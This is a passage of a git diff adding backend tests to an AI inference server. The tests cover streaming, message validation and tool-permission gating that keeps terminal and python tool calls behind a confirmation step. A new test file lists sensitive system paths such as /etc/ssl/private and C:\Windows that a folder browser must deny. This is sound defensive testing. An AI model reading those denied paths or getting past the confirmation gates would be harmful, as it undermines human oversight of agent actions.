+    for line in events:
+        for raw in line.split("\n"):
+            raw = raw.strip()
+            if not raw.startswith("data: "):
+                continue
+            data = json.loads(raw[len("data: ") :])
+            delta = data.get("delta", {})
+            if delta.get("type") == "text_delta":
+                text += delta.get("text", "")
+    return text
+
+
+def test_anthropic_emitter_closes_reasoning_only_think_block():
+    # A reasoning-only reply streams <think>X live then shrinks to bare X at EOF.
+    # This emitter diffs cumulative snapshots and drops the shrink, so without a
+    # closing pass the client text would end on an unclosed <think>. finish()
+    # must balance it.
+    emitter = AnthropicStreamEmitter()
+    events = emitter.start("msg_1", "m")
+    events += emitter.feed({"type": "content", "text": "<think>The capital"})
+    events += emitter.feed({"type": "content", "text": "<think>The capital of France is Paris."})
+    # The generator's final bare-text shrink (dropped by the cumulative diff).
+    events += emitter.feed({"type": "content", "text": "The capital of France is Paris."})
+    events += emitter.finish()
+
+    assert _emitter_client_text(events) == "<think>The capital of France is Paris.</think>"
+
+
+def test_anthropic_emitter_does_not_double_close_balanced_think():
+    # A reasoning-then-answer reply already closes its own </think>; the balancer
+    # must not append a second one.
+    emitter = AnthropicStreamEmitter()
+    events = emitter.start("msg_1", "m")
+    events += emitter.feed({"type": "content", "text": "<think>Thinking."})
+    events += emitter.feed({"type": "content", "text": "<think>Thinking.</think>Answer."})
+    events += emitter.finish()
+
+    assert _emitter_client_text(events) == "<think>Thinking.</think>Answer."
+
+
 def test_streamed_anthropic_tool_use_records_api_monitor_reply(monkeypatch):
     import routes.inference as inf_mod
 
@@ -128,13 +171,7 @@ class TestToolActionNudge:
         assert "call render_html once" in nudge
 
     def test_balanced_nudge_empty_without_known_tool_categories(self):
-        assert (
-            _build_tool_action_nudge(
-                tools = [],
-                model_name = "Llama-3.1-8B-Instruct",
-            )
-            == ""
-        )
+        assert _build_tool_action_nudge(tools = [], model_name = "Llama-3.1-8B-Instruct") == ""
 
 
 # =====================================================================
@@ -895,6 +932,24 @@ class TestAnthropicToolNonStreaming:
         assert tool_blocks[0]["name"] == "render_html"
         assert tool_blocks[0]["input"] == {"code": "<!doctype html><html></html>"}
 
+    def test_display_strip_gates_on_declared_tools(self):
+        # A final answer containing NAME[ARGS]{json} is gated on the declared tools: undeclared
+        # ``foo`` markup is prose and survives, the declared web_search rehearsal strips.
+        def _run_gen():
+            yield {
+                "type": "content",
+                "text": 'Try foo[ARGS]{"x": 1} but not web_search[ARGS]{"q": "hi"} here.',
+            }
+
+        tools = [{"type": "function", "function": {"name": "web_search", "parameters": {}}}]
+        response = asyncio.run(
+            _anthropic_tool_non_streaming(_run_gen, "msg_1", "m", openai_tools = tools)
+        )
+        body = json.loads(response.body)
+        text = "".join(b["text"] for b in body["content"] if b["type"] == "text")
+        assert 'foo[ARGS]{"x": 1}' in text  # inactive name preserved as prose
+        assert "web_search[ARGS]" not in text  # active name stripped from display
+
 
 # =====================================================================
 # Pass-through emitter tests (client-side tool execution path)
@@ -1576,6 +1631,48 @@ class TestAnthropicMessagesToolRouting:
         assert entry["status"] == "cancelled"
         assert monitor.active_count() == 0
 
+    @staticmethod
+    def _sse_blob(chunks):
+        # StreamingResponse may hand back str or already-encoded bytes.
+        return "".join(c.decode() if isinstance(c, (bytes, bytearray)) else c for c in chunks)
+
+    def test_plain_streaming_unclassified_error_emits_error_event(self, monkeypatch):
+        # An unclassified mid-stream failure must surface as an SSE `error` event
+        # and stop, not a message_stop that masks a truncated turn as clean.
+        def _gen_boom(**_kwargs):
+            yield "partial"
+            raise RuntimeError("llama-server crashed mid-decode")
+
+        _mock_backend(monkeypatch, generate_chat_completion = _gen_boom)
+        payload = _basic_payload(stream = True)
+
+        response = _drive(anthropic_messages(payload, request = self._Request(), current_subject = "t"))
+        blob = self._sse_blob(self._consume_response(response))
+
+        assert "event: error" in blob
+        assert '"type": "error"' in blob
+        assert "event: message_stop" not in blob
+
+    def test_tool_streaming_unclassified_error_emits_error_event(self, monkeypatch):
+        # Same guarantee on the tool-calling stream path.
+        def _gen_tools_boom(**_kwargs):
+            yield {"type": "content", "text": "partial"}
+            raise RuntimeError("llama-server crashed mid-decode")
+
+        _mock_backend(monkeypatch, generate_chat_completion_with_tools = _gen_tools_boom)
+        payload = _basic_payload(
+            stream = True,
+            enable_tools = True,
+            tools = [{"type": "web_search_20250305", "name": "web_search"}],
+        )
+
+        response = _drive(anthropic_messages(payload, request = self._Request(), current_subject = "t"))
+        blob = self._sse_blob(self._consume_response(response))
+
+        assert "event: error" in blob
+        assert '"type": "error"' in blob
+        assert "event: message_stop" not in blob
+
     def test_mixed_server_and_client_tools_rejected_with_400(self, monkeypatch):
         _mock_backend(monkeypatch)
         payload = _basic_payload(
@@ -1684,7 +1781,9 @@ class TestAnthropicMessagesToolRouting:
         assert backend.calls[0][0] == "plain"
 
     def test_server_tool_alias_enters_tool_path_when_policy_unset(self, monkeypatch):
-        # Mirror of the previous test for the default (None) policy.
+        # Mirror of the previous test for the default (None) policy. An omitted
+        # permission_mode still runs here because web_search is a safe server tool
+        # (only a selected terminal/python would require the missing gate).
         backend = _mock_backend(monkeypatch)
         payload = _basic_payload(
             tools = [{"type": "web_search_20250305", "name": "web_search"}],
@@ -1706,6 +1805,126 @@ class TestAnthropicMessagesToolRouting:
         assert "confirm_tool_calls is not supported" in exc.value.detail["error"]["message"]
         assert backend.calls == []
 
+    def test_permission_mode_gating_for_server_tools(self, monkeypatch):
+        # ask is a request for a per-call pause this channel cannot honor, so it is
+        # always rejected, even for a safe-only server tool (web_search).
+        safe_tools = [{"type": "web_search_20250305", "name": "web_search"}]
+        backend = _mock_backend(monkeypatch)
+        payload = _basic_payload(tools = safe_tools, permission_mode = "ask")
+        with pytest.raises(HTTPException) as exc:
+            _drive(anthropic_messages(payload, request = None, current_subject = "t"))
+        assert exc.value.status_code == 400
+        assert "no confirmation channel" in exc.value.detail["error"]["message"]
+        assert backend.calls == []
+
+        # auto only gates unsafe calls, so a safe-only selection runs (nothing to
+        # gate), like the omitted default. Both keep existing callers working.
+        for extra in ({"permission_mode": "auto"}, {}):
+            backend = _mock_backend(monkeypatch)
+            payload = _basic_payload(tools = safe_tools, **extra)
+            _drive(anthropic_messages(payload, request = None, current_subject = "t"))
+            assert backend.calls[0][0] == "tools"
+
+        # But auto or an omitted mode that would run a local tool (terminal/python,
+        # via a bare Anthropic tool type or enabled_tools) is rejected, since that
+        # tool could need the gate this channel lacks.
+        for local_payload in (
+            _basic_payload(tools = [{"type": "terminal", "name": "terminal"}]),
+            _basic_payload(
+                tools = [{"type": "terminal", "name": "terminal"}], permission_mode = "auto"
+            ),
+            _basic_payload(tools = safe_tools, enable_tools = True, enabled_tools = ["python"]),
+        ):
+            backend = _mock_backend(monkeypatch)
+            with pytest.raises(HTTPException) as exc:
+                _drive(anthropic_messages(local_payload, request = None, current_subject = "t"))
+            assert exc.value.status_code == 400
+            assert "terminal" in exc.value.detail["error"]["message"]
+            assert backend.calls == []
+
+        # off, full, and a legacy confirm_tool_calls=False opt-out all run, even
+        # with a local tool selected. The explicit opt-out wins over the mode
+        # (mirrors _permission_mode_confirm and the GGUF path), so it runs even
+        # under ask, which otherwise always rejects.
+        for extra in (
+            {"tools": safe_tools, "permission_mode": "off"},
+            {"tools": safe_tools, "permission_mode": "full"},
+            {"tools": safe_tools, "enabled_tools": ["python"], "confirm_tool_calls": False},
+            {"tools": safe_tools, "permission_mode": "ask", "confirm_tool_calls": False},
+            {
+                "tools": [{"type": "terminal", "name": "terminal"}],
+                "permission_mode": "ask",
+                "confirm_tool_calls": False,
+            },
+        ):
+            backend = _mock_backend(monkeypatch)
+            payload = _basic_payload(**extra)
+            _drive(anthropic_messages(payload, request = None, current_subject = "t"))
+            assert backend.calls[0][0] == "tools"
+
+    def test_render_html_gated_for_server_tools(self, monkeypatch):
+        # render_html is no longer unconditionally safe: a networked canvas prompts
+        # in auto and this channel cannot present that gate, so selecting it under
+        # ask/auto/omitted rejects like terminal/python; off/full (and an explicit
+        # confirm opt-out) run it.
+        rh = {"enable_tools": True, "enabled_tools": ["render_html"]}
+        for mode in ("ask", "auto", None):
+            backend = _mock_backend(monkeypatch)
+            fields = dict(rh)
+            if mode is not None:
+                fields["permission_mode"] = mode
+            payload = _basic_payload(**fields)
+            with pytest.raises(HTTPException) as exc:
+                _drive(anthropic_messages(payload, request = None, current_subject = "t"))
+            assert exc.value.status_code == 400
+            assert "no confirmation channel" in exc.value.detail["error"]["message"]
+            assert backend.calls == []
+        for extra in (
+            {"permission_mode": "off"},
+            {"permission_mode": "full"},
+            {"confirm_tool_calls": False},
+        ):
+            backend = _mock_backend(monkeypatch)
+            payload = _basic_payload(**{**rh, **extra})
+            _drive(anthropic_messages(payload, request = None, current_subject = "t"))
+            assert backend.calls[0][0] == "tools"
+
+    def test_permission_mode_rejected_before_auto_switch(self, monkeypatch):
+        # The unsupported-mode rejection must run before _maybe_auto_switch_model,
+        # so an invalid confirm-gated request never evicts the resident model
+        # (mirrors the pre-switch malformed- and mixed-tool guards).
+        import routes.inference as inf_mod
+
+        switch_calls = []
+
+        async def _rec_switch(*_args, **_kwargs):
+            switch_calls.append(1)
+
+        monkeypatch.setattr(inf_mod, "_maybe_auto_switch_model", _rec_switch)
+        safe_tools = [{"type": "web_search_20250305", "name": "web_search"}]
+        local_tools = [{"type": "terminal", "name": "terminal"}]
+
+        # ask (any server tool), auto with a local tool, and an omitted mode
+        # selecting a local tool are all rejected up front, before the switch runs.
+        for payload in (
+            _basic_payload(tools = safe_tools, permission_mode = "ask"),
+            _basic_payload(tools = local_tools, permission_mode = "auto"),
+            _basic_payload(tools = local_tools),
+        ):
+            switch_calls.clear()
+            _mock_backend(monkeypatch)
+            with pytest.raises(HTTPException) as exc:
+                _drive(anthropic_messages(payload, request = None, current_subject = "t"))
+            assert exc.value.status_code == 400
+            assert switch_calls == [], "rejection must precede the auto-switch"
+
+        # A supported request (off) still reaches the switch and runs the loop.
+        switch_calls.clear()
+        _mock_backend(monkeypatch)
+        payload = _basic_payload(tools = safe_tools, permission_mode = "off")
+        _drive(anthropic_messages(payload, request = None, current_subject = "t"))
+        assert switch_calls == [1]
+
     def test_per_request_enable_tools_false_blocks_server_tool_alias(self, monkeypatch):
         backend = _mock_backend(monkeypatch)
         payload = _basic_payload(
@@ -1715,3 +1934,523 @@ class TestAnthropicMessagesToolRouting:
 
         _drive(anthropic_messages(payload, request = None, current_subject = "t"))
         assert backend.calls[0][0] == "plain"
+
+
+def test_resumed_session_thinking_and_null_content_do_not_400():
+    # A resumed session replays assistant turns with `thinking` (and sometimes null)
+    # content. Those must be accepted (thinking dropped by the converter), not 400ed.
+    from pydantic import ValidationError
+
+    req = AnthropicMessagesRequest(
+        model = "x",
+        max_tokens = 16,
+        messages = [
+            {"role": "user", "content": "hi"},
+            {
+                "role": "assistant",
+                "content": [
+                    {"type": "thinking", "thinking": "secret reasoning", "signature": "s"},
+                    {"type": "text", "text": "the answer"},
+                    {"type": "tool_use", "id": "t1", "name": "f", "input": {}},
+                ],
+            },
+            {"role": "assistant", "content": None},  # tool-only turn serialized as null
+        ],
+    )
+    # Known blocks still parse as their typed models; only the unknown one is loose.
+    assert type(req.messages[1].content[0]).__name__ == "AnthropicUnknownBlock"
+    assert type(req.messages[1].content[1]).__name__ == "AnthropicTextBlock"
+    assert req.messages[2].content == ""  # null coerced
+
+    openai = anthropic_messages_to_openai([m.model_dump() for m in req.messages])
+    assistant = next(m for m in openai if m["role"] == "assistant" and m.get("content"))
+    assert assistant["content"] == "the answer"
+    assert "secret reasoning" not in json.dumps(openai)  # thinking never forwarded
+
+    # A malformed KNOWN block still fails cleanly instead of being swallowed.
+    with pytest.raises(ValidationError):
+        AnthropicMessagesRequest(
+            model = "x",
+            max_tokens = 16,
+            messages = [{"role": "assistant", "content": [{"type": "tool_use", "name": "f"}]}],
+        )
+
+
+def test_user_null_content_rejected():
+    # The null->"" leniency is assistant-only; a null user content must be rejected
+    # at the boundary, not coerced into an empty prompt and forwarded to the model.
+    from pydantic import ValidationError
+    with pytest.raises(ValidationError):
+        AnthropicMessagesRequest(
+            model = "x",
+            max_tokens = 16,
+            messages = [{"role": "user", "content": None}],
+        )
+
+
+def test_user_unknown_block_rejected_not_silently_dropped():
+    # The converter skips user blocks it cannot translate, so a user turn whose only
+    # block is unknown would validate yet forward no content. Reject at the boundary
+    # to avoid that silent data loss (the assistant fallback is unaffected).
+    from pydantic import ValidationError
+    with pytest.raises(ValidationError):
+        AnthropicMessagesRequest(
+            model = "x",
+            max_tokens = 16,
+            messages = [
+                {"role": "user", "content": [{"type": "document", "source": {}}]},
+            ],
+        )
+
+
+def test_user_translatable_blocks_still_accepted():
+    # text / image / tool_result are translatable, so a real user message built from
+    # them must still pass; the unknown-block guard only trips on other types.
+    req = AnthropicMessagesRequest(
+        model = "x",
+        max_tokens = 16,
+        messages = [
+            {
+                "role": "user",
+                "content": [
+                    {"type": "text", "text": "What is this?"},
+                    {
+                        "type": "image",
+                        "source": {"type": "base64", "media_type": "image/png", "data": "AA"},
+                    },
+                    {"type": "tool_result", "tool_use_id": "t1", "content": "ok"},
+                ],
+            }
+        ],
+    )
+    assert [type(b).__name__ for b in req.messages[0].content] == [
+        "AnthropicTextBlock",
+        "AnthropicImageBlock",
+        "AnthropicToolResultBlock",
+    ]
+
+    openai = anthropic_messages_to_openai([m.model_dump() for m in req.messages])
+    assert any(m["role"] == "tool" and m["tool_call_id"] == "t1" for m in openai)
+
+
+def test_user_malformed_known_block_still_rejected():
+    # The guard only allow-lists a user block's *type*; the union still validates its
+    # shape, so a known-but-malformed block (tool_result without tool_use_id) fails.
+    from pydantic import ValidationError
+    with pytest.raises(ValidationError):
+        AnthropicMessagesRequest(
+            model = "x",
+            max_tokens = 16,
+            messages = [
+                {"role": "user", "content": [{"type": "tool_result", "content": "x"}]},
+            ],
+        )
+
+
+def test_user_content_block_non_string_type_rejected_cleanly():
+    # A user block whose `type` is a non-string (unhashable list / dict, or a stray
+    # int) must fail as a clean validation error, not raise TypeError from the
+    # frozenset membership test and escape as a 500.
+    from pydantic import ValidationError
+    for bad_type in ([], {}, 5):
+        with pytest.raises(ValidationError):
+            AnthropicMessagesRequest(
+                model = "x",
+                max_tokens = 16,
+                messages = [{"role": "user", "content": [{"type": bad_type}]}],
+            )
+
+
+def test_assistant_missing_content_key_still_rejected():
+    # The null -> "" leniency is only for an EXPLICIT null. An assistant message that
+    # omits content entirely stays malformed and must fail required-field validation.
+    from pydantic import ValidationError
+
+    with pytest.raises(ValidationError):
+        AnthropicMessagesRequest(
+            model = "x",
+            max_tokens = 16,
+            messages = [{"role": "assistant"}],
+        )
+    # An explicit null is still accepted and coerced (regression guard).
+    req = AnthropicMessagesRequest(
+        model = "x",
+        max_tokens = 16,
+        messages = [
+            {"role": "user", "content": "hi"},
+            {"role": "assistant", "content": None},
+        ],
+    )
+    assert req.messages[1].content == ""
+
+
+def test_resumed_null_assistant_between_users_coalesced_on_messages_route(monkeypatch):
+    # user -> assistant(null) -> user is now accepted: the null assistant turn coerces
+    # to "" and is dropped. The route must then coalesce the two remaining user turns
+    # so a strict GGUF chat template does not 400 on non-alternating roles.
+    backend = _mock_backend(monkeypatch, context_length = 2048)
+
+    class _Req:
+        state = SimpleNamespace()
+        url = SimpleNamespace(path = "/v1/messages")
+        method = "POST"
+
+        async def is_disconnected(self):
+            return False
+
+    payload = AnthropicMessagesRequest(
+        model = "x",
+        max_tokens = 16,
+        messages = [
+            {"role": "user", "content": "first question"},
+            {"role": "assistant", "content": None},
+            {"role": "user", "content": "please continue"},
+        ],
+    )
+
+    response = _drive(anthropic_messages(payload, request = _Req(), current_subject = "t"))
+    assert response.status_code == 200
+
+    [(_path, kwargs)] = backend.calls
+    user_turns = [m for m in kwargs["messages"] if m.get("role") == "user"]
+    assert len(user_turns) == 1  # the two user turns were merged, not left adjacent
+    merged = user_turns[0]["content"]
+    if isinstance(merged, list):
+        merged = " ".join(p.get("text", "") for p in merged if isinstance(p, dict))
+    assert "first question" in merged and "please continue" in merged
+
+
+def test_disable_parallel_tool_use_forwards_heartbeats_while_dropping():
+    """Heartbeats from a parallel-disabled, dropped tool call must still reach
+    the client as SSE keepalives: the dropped call runs server-side and the
+    stall keepalive never fires while the generator keeps producing events, so
+    swallowing them recreates the silent window keepalives exist to prevent."""
+    import threading as _threading
+
+    from routes.inference import (
+        _OPENAI_PASSTHROUGH_SSE_KEEPALIVE,
+        _anthropic_tool_stream,
+    )
+
+    def run_gen():
+        def gen():
+            yield {
+                "type": "tool_start",
+                "tool_name": "python",
+                "tool_call_id": "call_0",
+                "arguments": {},
+            }
+            yield {"type": "heartbeat"}
+            yield {
+                "type": "tool_end",
+                "tool_name": "python",
+                "tool_call_id": "call_0",
+                "result": "r1",
+            }
+            # Second call: dropped by disable_parallel_tool_use, still executed
+            # server-side (heartbeats + live output).
+            yield {
+                "type": "tool_start",
+                "tool_name": "python",
+                "tool_call_id": "call_1",
+                "arguments": {},
+            }
+            yield {"type": "heartbeat"}
+            yield {
+                "type": "tool_output",
+                "tool_name": "python",
+                "tool_call_id": "call_1",
+                "text": "x",
+            }
+            yield {"type": "heartbeat"}
+            yield {
+                "type": "tool_end",
+                "tool_name": "python",
+                "tool_call_id": "call_1",
+                "result": "r2",
+            }
+            yield {"type": "content", "text": "final answer"}
+
+        return gen()
+
+    async def _drive():
+        async def _is_disconnected():
+            return False
+
+        request = SimpleNamespace(is_disconnected = _is_disconnected)
+        resp = await _anthropic_tool_stream(
+            request,
+            _threading.Event(),
+            run_gen,
+            "msg_hb",
+            "m",
+            disable_parallel_tool_use = True,
+        )
+        return [chunk async for chunk in resp.body_iterator]
+
+    chunks = asyncio.run(_drive())
+    keepalives = [c for c in chunks if c == _OPENAI_PASSTHROUGH_SSE_KEEPALIVE]
+    # One heartbeat inside the kept call, two inside the dropped window.
+    assert len(keepalives) >= 3
+    # The dropped call must not surface as a second tool_use block.
+    tool_use_starts = [c for c in chunks if "content_block_start" in c and '"tool_use"' in c]
+    assert len(tool_use_starts) == 1
+
+
+def test_dropped_tool_output_events_emit_rate_limited_keepalives(monkeypatch):
+    """A chatty tool streaming tool_output/tool_args with no heartbeats keeps the
+    generator busy (stall keepalive never fires); the Anthropic path can't
+    translate those events and drops them. Dropping silently would let an idle
+    proxy kill the stream, so the drop branch emits a rate-limited keepalive."""
+    import threading as _threading
+
+    import routes.inference as inf_mod
+    from routes.inference import (
+        _OPENAI_PASSTHROUGH_SSE_KEEPALIVE,
+        _anthropic_tool_stream,
+    )
+
+    # Deterministic clock: only the drop-branch keepalive uses time.monotonic
+    # here, so jumping past the stall window per call makes each dropped event
+    # cross the rate-limit threshold. asyncio.wait uses the loop clock and
+    # next(gen) returns promptly, so the outer stall keepalive never fires --
+    # every keepalive here is from the drop branch.
+    _real_time = inf_mod.time
+    _tick = {"v": 0.0}
+
+    def _fast_monotonic():
+        _tick["v"] += 100.0
+        return _tick["v"]
+
+    fake_time = SimpleNamespace(
+        monotonic = _fast_monotonic,
+        sleep = _real_time.sleep,
+        time = _real_time.time,
+        perf_counter = _real_time.perf_counter,
+    )
+    monkeypatch.setattr(inf_mod, "time", fake_time)
+
+    n_output = 4
+
+    def run_gen():
+        def gen():
+            yield {
+                "type": "tool_start",
+                "tool_name": "python",
+                "tool_call_id": "call_0",
+                "arguments": {},
+            }
+            # Chatty streamed stdout, no heartbeats.
+            for i in range(n_output):
+                yield {
+                    "type": "tool_output",
+                    "tool_name": "python",
+                    "tool_call_id": "call_0",
+                    "text": f"line {i}\n",
+                }
+            yield {
+                "type": "tool_end",
+                "tool_name": "python",
+                "tool_call_id": "call_0",
+                "result": "done",
+            }
+            yield {"type": "content", "text": "final answer"}
+
+        return gen()
+
+    async def _drive():
+        async def _is_disconnected():
+            return False
+
+        request = SimpleNamespace(is_disconnected = _is_disconnected)
+        resp = await _anthropic_tool_stream(
+            request,
+            _threading.Event(),
+            run_gen,
+            "msg_drop_ka",
+            "m",
+        )
+        return [chunk async for chunk in resp.body_iterator]
+
+    chunks = asyncio.run(_drive())
+    keepalives = [c for c in chunks if c == _OPENAI_PASSTHROUGH_SSE_KEEPALIVE]
+    assert len(keepalives) == n_output
+    # Final answer still reaches the client (drop is transport-only).
+    assert any("final answer" in c for c in chunks)
+
+
+def test_parallel_disabled_dropped_call_output_emits_rate_limited_keepalives(monkeypatch):
+    """Under disable_parallel_tool_use a chatty second call is dropped whole
+    (drop_until_tool_end). Its tool_output/tool_args events must still emit
+    rate-limited keepalives: the drop window can last minutes with no heartbeats
+    and no stall keepalive, so swallowing them silently would let an idle proxy
+    kill the stream. The keepalive branch runs before the drop skip."""
+    import threading as _threading
+
+    import routes.inference as inf_mod
+    from routes.inference import (
+        _OPENAI_PASSTHROUGH_SSE_KEEPALIVE,
+        _anthropic_tool_stream,
+    )
+
+    # Deterministic clock: jumps past the stall window per call (see sibling test).
+    _real_time = inf_mod.time
+    _tick = {"v": 0.0}
+
+    def _fast_monotonic():
+        _tick["v"] += 100.0
+        return _tick["v"]
+
+    fake_time = SimpleNamespace(
+        monotonic = _fast_monotonic,
+        sleep = _real_time.sleep,
+        time = _real_time.time,
+        perf_counter = _real_time.perf_counter,
+    )
+    monkeypatch.setattr(inf_mod, "time", fake_time)
+
+    n_output = 4
+
+    def run_gen():
+        def gen():
+            # First (kept) call.
+            yield {
+                "type": "tool_start",
+                "tool_name": "python",
+                "tool_call_id": "call_0",
+                "arguments": {},
+            }
+            yield {
+                "type": "tool_end",
+                "tool_name": "python",
+                "tool_call_id": "call_0",
+                "result": "r1",
+            }
+            # Second call: dropped whole by disable_parallel_tool_use but still
+            # executed server-side, streaming chatty stdout with no heartbeats.
+            yield {
+                "type": "tool_start",
+                "tool_name": "python",
+                "tool_call_id": "call_1",
+                "arguments": {},
+            }
+            for i in range(n_output):
+                yield {
+                    "type": "tool_output",
+                    "tool_name": "python",
+                    "tool_call_id": "call_1",
+                    "text": f"line {i}\n",
+                }
+            yield {
+                "type": "tool_end",
+                "tool_name": "python",
+                "tool_call_id": "call_1",
+                "result": "r2",
+            }
+            yield {"type": "content", "text": "final answer"}
+
+        return gen()
+
+    async def _drive():
+        async def _is_disconnected():
+            return False
+
+        request = SimpleNamespace(is_disconnected = _is_disconnected)
+        resp = await _anthropic_tool_stream(
+            request,
+            _threading.Event(),
+            run_gen,
+            "msg_drop_ka2",
+            "m",
+            disable_parallel_tool_use = True,
+        )
+        return [chunk async for chunk in resp.body_iterator]
+
+    chunks = asyncio.run(_drive())
+    keepalives = [c for c in chunks if c == _OPENAI_PASSTHROUGH_SSE_KEEPALIVE]
+    assert len(keepalives) == n_output
+    # The dropped call must not surface as a second tool_use block.
+    tool_use_starts = [c for c in chunks if "content_block_start" in c and '"tool_use"' in c]
+    assert len(tool_use_starts) == 1
+    assert any("final answer" in c for c in chunks)
+
+
+def test_plain_stream_emits_keepalive_during_prompt_stall(monkeypatch):
+    """No-tool Anthropic stream must emit SSE keepalives while a long prompt
+    prefill blocks next(gen), matching the tool stream (finding 5). The old
+    single unbounded to_thread(next, ...) could sit silent past a proxy idle cap."""
+    import threading as _threading
+    import time as _time
+
+    from routes import inference as inf_mod
+    from routes.inference import _OPENAI_PASSTHROUGH_SSE_KEEPALIVE, _anthropic_plain_stream
+
+    monkeypatch.setattr(inf_mod, "_LOCAL_TOOL_STREAM_STALL_KEEPALIVE_S", 0.05)
+
+    def run_gen():
+        def gen():
+            _time.sleep(0.24)  # stall past several shortened keepalive windows
+            yield "hello world"
+
+        return gen()
+
+    async def _drive():
+        async def _is_disconnected():
+            return False
+
+        request = SimpleNamespace(is_disconnected = _is_disconnected)
+        resp = await _anthropic_plain_stream(
+            request, _threading.Event(), run_gen, "msg_plain_ka", "m"
+        )
+        return [chunk async for chunk in resp.body_iterator]
+
+    chunks = asyncio.run(_drive())
+    keepalives = [c for c in chunks if c == _OPENAI_PASSTHROUGH_SSE_KEEPALIVE]
+    assert len(keepalives) >= 2
+    assert any("hello world" in c for c in chunks)
+
+
+def test_plain_stream_closes_generator_on_disconnect():
+    """On disconnect the no-tool teardown must drain any pending worker and close
+    the generator (finding 6). The old finally only stopped the disconnect
+    watcher, leaking the generator. A fake generator records close() so the
+    teardown is asserted deterministically, not via GC."""
+    import threading as _threading
+
+    from routes.inference import _anthropic_plain_stream
+
+    closed = _threading.Event()
+
+    class _FakeGen:
+        def __init__(self):
+            self._items = iter(["tok0", "tok1", "tok2", "tok3"])
+
+        def __next__(self):
+            return next(self._items)
+
+        def close(self):
+            closed.set()
+
+    def run_gen():
+        return _FakeGen()
+
+    state = {"disconnected": False}
+
+    async def _drive():
+        async def _is_disconnected():
+            return state["disconnected"]
+
+        request = SimpleNamespace(is_disconnected = _is_disconnected)
+        resp = await _anthropic_plain_stream(
+            request, _threading.Event(), run_gen, "msg_plain_close", "m"
+        )
+        out = []
+        async for chunk in resp.body_iterator:
+            out.append(chunk)
+            if "tok0" in chunk:
+                # Client drops after the first token; the next loop turn tears down.
+                state["disconnected"] = True
+        return out
+
+    asyncio.run(_drive())
+    assert closed.is_set()
diff --git a/studio/backend/tests/test_browse_denylist.py b/studio/backend/tests/test_browse_denylist.py
new file mode 100644
index 0000000000..e21dc5c5a8
--- /dev/null
+++ b/studio/backend/tests/test_browse_denylist.py
@@ -0,0 +1,371 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""System-directory denylist enforcement for the folder browser.
+
+Once the allowlist can hold a whole Windows drive root (C:\\) or a legacy /
+root, the browse endpoints must re-apply the ``_denied_path_prefixes()`` policy
+``add_scan_folder`` enforces, so /etc, /proc, C:\\Windows, C:\\Program Files stay
+unbrowseable even under an allowlisted root. Windows/macOS branches run on this
+POSIX host by AST-extracting the pure helper with ``ntpath`` / a mocked ``platform``.
+"""
+
+from __future__ import annotations
+
+import ast
+import ntpath
+import os
+import posixpath
+from pathlib import Path
+from types import SimpleNamespace
+from typing import Optional
+
+import pytest
+
+from hub.storage import scan_folders
+from storage import studio_db
+from utils.paths.external_media import is_local_filesystem_root
+
+
+_BACKEND_ROOT = Path(__file__).resolve().parent.parent
+
+
+class _HTTPException(Exception):
+    def __init__(self, status_code: int, detail: str):
+        super().__init__(detail)
+        self.status_code = status_code
+        self.detail = detail
+
+
+def _extract_is_denied_windows():
+    """is_denied_system_path (+ _denied_path_prefixes) from studio_db.py under Windows semantics (ntpath) on a POSIX host."""
+    src = (_BACKEND_ROOT / "storage" / "studio_db.py").read_text(encoding = "utf-8")
+    tree = ast.parse(src)
+    funcs = [
+        n
+        for n in tree.body
+        if isinstance(n, ast.FunctionDef)
+        and n.name in {"_denied_path_prefixes", "is_denied_system_path"}
+    ]
+    module = ast.Module(body = funcs, type_ignores = [])
+    ast.fix_missing_locations(module)
+
+    win_os = SimpleNamespace(
+        sep = "\\",
+        environ = {
+            "SystemRoot": r"C:\Windows",
+            "ProgramFiles": r"C:\Program Files",
+            "ProgramFiles(x86)": r"C:\Program Files (x86)",
+        },
+        path = SimpleNamespace(normcase = ntpath.normcase),
+    )
+    ns = {
+        "os": win_os,
+        "platform": SimpleNamespace(system = lambda: "Windows"),
+        # /run has no Windows analog, so the carve-out is never reached.
+        "is_linux_run_media_path": lambda _p: False,
+    }
+    exec(compile(module, "<extracted studio_db.py>", "exec"), ns)
+    return ns["is_denied_system_path"]
+
+
+# is_denied_system_path -- Linux (real helper, this host)
+@pytest.mark.parametrize(
+    "path",
+    [
+        "/etc",
+        "/etc/ssl/private",
+        "/proc",
+        "/proc/1",
+        "/sys",
+        "/dev",
+        "/boot",
+        "/run",
+        "/run/systemd/private",
+        "/run/media",
+        "/run/media/dspofu",
+    ],
+)
+def test_is_denied_system_path_linux_denies_system_dirs(monkeypatch, path):
+    monkeypatch.setattr(studio_db.platform, "system", lambda: "Linux")
+    assert studio_db.is_denied_system_path(path) is True
+
+
+@pytest.mark.parametrize(
+    "path",
+    ["/run/media/dspofu/nvmeB", "/run/media/dspofu/nvmeB/models"],
+)
+def test_is_denied_system_path_linux_allows_run_media_mounts(monkeypatch, path):
+    # The /run/media/<user>/<volume> carve-out keeps removable media browseable.
+    monkeypatch.setattr(studio_db.platform, "system", lambda: "Linux")
+    assert studio_db.is_denied_system_path(path) is False
+
+
+@pytest.mark.parametrize(
+    "path",
+    ["/etc-backup", "/etcetera", "/home/u/models", "/mnt/data", "/devices", "/", "/opt/models"],
+)
+def test_is_denied_system_path_linux_allows_non_system(monkeypatch, path):
+    monkeypatch.setattr(studio_db.platform, "system", lambda: "Linux")
+    assert studio_db.is_denied_system_path(path) is False
+
+
+def test_legacy_and_hub_denylist_agree(monkeypatch):
+    monkeypatch.setattr(studio_db.platform, "system", lambda: "Linux")
+    monkeypatch.setattr(scan_folders.platform, "system", lambda: "Linux")
+    for p in ["/etc", "/proc/1", "/home/u", "/boot", "/opt/x"]:
+        assert studio_db.is_denied_system_path(p) == scan_folders.is_denied_system_path(p)
+
+
+# is_denied_system_path -- Windows (ntpath-backed), case-insensitive + collisions
+@pytest.mark.parametrize(
+    "path",
+    [
+        r"C:\Windows",
+        r"C:\Windows\System32",
+        r"c:\windows",
+        r"C:\WINDOWS\Temp",
+        r"C:\Program Files",
+        r"C:\Program Files\x",
+        r"C:\Program Files (x86)\y",
+        r"c:\program files",
+    ],
+)
+def test_is_denied_system_path_windows_denies_system_dirs(path):
+    is_denied = _extract_is_denied_windows()
+    assert is_denied(path) is True
+
+
+@pytest.mark.parametrize(
+    "path",
+    [
+        r"C:\Models",
+        r"D:\models",
+        r"C:\WindowsApps",
+        r"C:\ProgramData",
+        r"C:\Program Files Extra",
+        r"E:\gguf",
